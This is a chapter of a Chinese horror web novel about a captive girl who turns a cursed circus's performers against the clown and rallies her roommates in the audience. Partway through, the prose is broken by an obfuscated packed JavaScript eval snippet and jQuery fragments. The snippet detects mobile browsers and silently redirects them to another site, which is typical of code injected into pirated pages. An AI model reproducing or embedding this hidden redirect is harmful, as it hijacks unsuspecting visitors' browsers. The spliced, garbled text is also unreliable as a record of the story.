小丑越想越不对，它眯了眯眼仔细地观察着蜘蛛的背影，最终确定了台上这个的确不是纪南亦。


    可是……可是它觉得台上的蜘蛛跳的好美。


    略显青涩的舞步配上刻意迎合观众的娇媚，这样反差的搭配让见过无数蜘蛛的小丑都觉得别有一番风味。


    不知不觉之间，小丑竟也被蜘蛛的舞蹈蛊惑了。


    但小丑反应的很快，本就有所防备的它发现意识刚一脱离控制就移开了视线，猛猛吐出几口浊气后才算缓了下来。


    它几乎是瞬间就意识到了现在的情况绝对跟纪南亦脱不了干系。


    前面因为登台时间紧张，加上纪南亦演的太像，它之前也确实没见过被抓进马戏团不哭不闹还上进的人，所以第一时间就没深究。


    而且谁能想到这么短的时间，在有人看守的情况下纪南亦能闹出这么大动静？


    事到如今，小丑只能安慰自己，反正纪南亦现在已经是马戏团的人了，她逃得了一时也逃不了一世，等演出结束以后，它再慢慢把她抓出来算账。


    下一秒小丑似乎听到了后台通往舞台的入口处传来了一阵嘈杂的声音，好像是那群稻草人和灵蛇。


    它们不应该回化妆间了吗？为什么会在这里？


    小丑现在不敢抬眼确定，那个位置距离舞台中央很近，蜘蛛还在那里跳舞，自己看过去容易被二次蛊惑，到时候就不能这么快挣脱出来了。


    *


    “咦，这不是跳舞跳的好好的吗，那群观众也还在那里呀，哪有什么观众造反请求支援啊？”


    走在最前面的稻草人探出头，打量着观众席上正乖乖闭着眼的六个人，想转头找找刚刚叫他们过来的纪南亦，却因为自己被固定在十字架上只能先蹦跳着回过身才行。


    可哪里还有纪南亦的身影？


    它想起来了，当时纪南亦突然闯进化妆间说那些观众们暴起决定掀了马戏团，小丑一个人支撑不过来让她来请救兵，说完她就跑了，根本没和它们一起过来。


    旁边的灵蛇终于消化完了第一轮吃到的食物，本就跟稻草人们不对付的它冷哼一声，幽幽竖瞳中散发出丝丝冷光：“那个女人骗了我们……”


    “那现在怎么办？”稻草人慌了神。


    “还能怎么办？先回……”灵蛇声音一滞，“回去干什么，我还第一次看到蜘蛛跳舞呢，没想到这么好看……”


    “好看？”稻草人实在想不通这两个字是怎么能跟那个外形可怖的蜘蛛联系起来的。


    它又费劲挪动身体看了看旁边其他的稻草人和灵蛇，发现它们竟然也都目不转睛地盯着舞台，眼中是陌生的痴态，这下它就更疑惑了。


    说好来帮忙的呢？怎么一个个都看上演出了，还这么上瘾？


    想不明白的稻草人只能模仿着周围人的姿势去打量台上还在跳舞的蜘蛛，不知道为什么，它总觉得这个背影好像很熟悉。


    而且似乎哪里不对……是哪里呢……


    对了，上一任蜘蛛在今天第一轮表演的时候已经死了，小丑的意思是把新来的那个女人做成新的蜘蛛。


    可是刚刚那个女人还四肢健全地通知它们呀，现在突然跑到舞台上表演了？


    越思考稻草人就越觉得自己脑子昏昏沉沉地，好像意识开始不受自己控制飘远。


    而且那条讨厌的死蛇好像没骗它，这舞蹈确实有点好看……


    *


    小丑确定自己听到的的确那群蠢货的声音，只不过那些声音很快就消失了。


    它一时间也想不明白怎么回事。


    总不能这也是纪南亦搞得鬼吧？


    虽然那群蠢货确实挺好骗的。


    毕竟自己在改造它们的时候用了不少强制手段，所以这里所有人的大脑和心理基本都受过不少程度的刺激，智力退化后达不到正常人的水平。


    “你是在找我吗？”


    少女的声音如同鬼魅般在身后响起，原本温润如玉的嗓音此刻冷的像是冬日的清晨，格格不入的上扬尾音更是给这段话平添了一丝诡谲。


    小丑心里一沉，“你为什么会在这里？”


    它没想到纪南亦敢在这个时候主动跑出来，身体对危险的本能已经让它顺着声音传来的方向抓去。


    可它抓到的只有空气。


    纪南亦的声音再次响起，这次几乎是贴着它耳边说的：“你找错位置了。”


    几乎是一瞬间，小丑身上的鸡皮疙瘩争先恐后地爬了起来，它又顺着这次声音的方向抓去，可又是一片空。


    不等它回头看去，纪南亦的声音出现在它的身前：“又抓空了啊，这次我就在你脸前，要不要睁开眼看看？”


    接二连三的失利让小丑已经在爆发的边缘，它已经许久没有感受过这种被人玩弄的感觉，本就不算清晰的头脑已经全然被愤怒占据。


    即便这样，最后一丝残存的理智还是拉住了它。


    不能睁开眼。


    这个狡猾的女人可能还在骗它，睁开眼不一定能抓到她，但一定会看到舞台上跳舞的蜘蛛。


    小丑并没有选择睁开眼，而是继续伸手超前抓去。


    不过这次不同的是，它确实抓到了纪南亦。


    纪南亦面无表情地看了眼已经把自己肩膀捏红的手，幽幽叹了口气，反手将一个黑色的棍子抵在了小丑的肩窝。


    “说真话你又不信，非要我来帮你。”纪南亦语气里满是无奈，似乎在对待一个不听话的孩子般，即便是知道对方不听话，也还是抱有一丝耐心。


    她毫不留情地按下了手中的开关键，强大的电流让小丑身上肌肉瞬间麻木，骨头止不住地颤抖，连大脑一时都陷入了空白。


    原本抓在纪南亦身上的手无力地垂下，小丑整个人如没了骨头般瘫倒在地上，一双猩红的眼睛一眨不眨地盯着对自己正笑的温柔的少女。


    纪南亦满意地举起那根电击棒，“从你们改造室顺出来的，没想到这么好用，看来为了让他们听话这电量很足啊……”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058289|172218||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小丑想骂人，可它现在就连思考都费劲，更别说开口了。


    知道蜘蛛的表演已经来到尾声，纪南亦也不磨叽，侧身给小丑让出了一个绝佳观景位。


    尽管在大脑中疯狂挣扎，但蜘蛛柔美的舞蹈再次出现在了它的眼前。


    相比于第一次可以用强大的脑海意识挣扎出来，这第二次的控制更加汹涌，加上它被电击棒电过的大脑，可谓是一点抵抗力都没有。


    诡异可怖的身体在舞台上扭动着，任谁来看都会吓得尖叫的一幕此刻逐渐变得让人陶醉，心甘情愿地沉沦在华丽的演出中。


    确定小丑短时间内不会恢复后，纪南亦故技重施用白纸化作蒙眼的丝带，按照记忆中的路线赶回了舞台上。


    回去时经过稻草人和灵神附近还能听到他们如痴如醉地呢喃声。


    只有舞台上正在演出的蜘蛛注意到了纪南亦的靠近，因为隔着太远又戴着面纱，没人看到他跳舞时脸上狰狞的表情，在看见纪南亦后更是变得目眦欲裂。


    它就是之前负责看守纪南亦的灵蛇，被纪南亦五花大绑贴上了几条手臂后才变成了蜘蛛的模样。


    察觉到旁边气息翻涌，纪南亦开口提醒：“别看了，演出一旦开始，除非死亡，否则是无法被中断的。”


    蜘蛛想问问她究竟要干什么，更想知道为什么纪南亦可以大咧咧站在这里，小丑去哪里了，为什么不来管她？


    还有那群不靠谱的同事，它们回去后难道没发现自己没在化妆间吗？


    可还在跳舞的它开不了口，也没人回答，就连纪南亦都没有要理他的意思。


    只见纪南亦冲着观众席大喊道：“羽羽，你们可以站起来了！但你们先不要睁眼，听我指挥！”


    之所以选在第三个节目的时候出手，是因为纪南亦从开始就没打算靠自己一个人就掀翻整个马戏团。


    从听见小丑在接待新客人开始，她就知道那新来的观众里一定有自己的三个舍友。


    从逻辑上说，她不相信短时间内能有四队人来到这偏僻的马戏团做任务。从情感上说，她无比相信她们绝对不会放弃自己。


    观众席上，为了防止自己不经意间睁眼看到舞台，几人都用手死死捂住了自己的眼睛。


    失去视觉的几人其他的感官敏感度无限放大，纪南亦掷地有声的声音更是如平地惊雷直直震入他们的脑海，甚至吓得后排付修安三人更是手一哆嗦弹了开来，差点脑子一懵就睁开眼探过去。


    前排季毛毛激动地问道：“你们听到了吗，刚刚那个声音是南亦吧？”


    “嗯，而且听起来她现在情况应该还不错。”关羽羽一直悬着的心也是稍稍放下了一点。


    有了纪南亦的提醒，她们也都没因激动一时忘了禁忌，而是缓缓松开手后，小心翼翼地维持着双眼紧闭，互相搀扶着慢慢站了起来。


    关羽羽猜到为了躲避规则纪南亦也可能看不见情况，所以她也大声回应：“我们弄好了，南亦，接下来该怎么办？”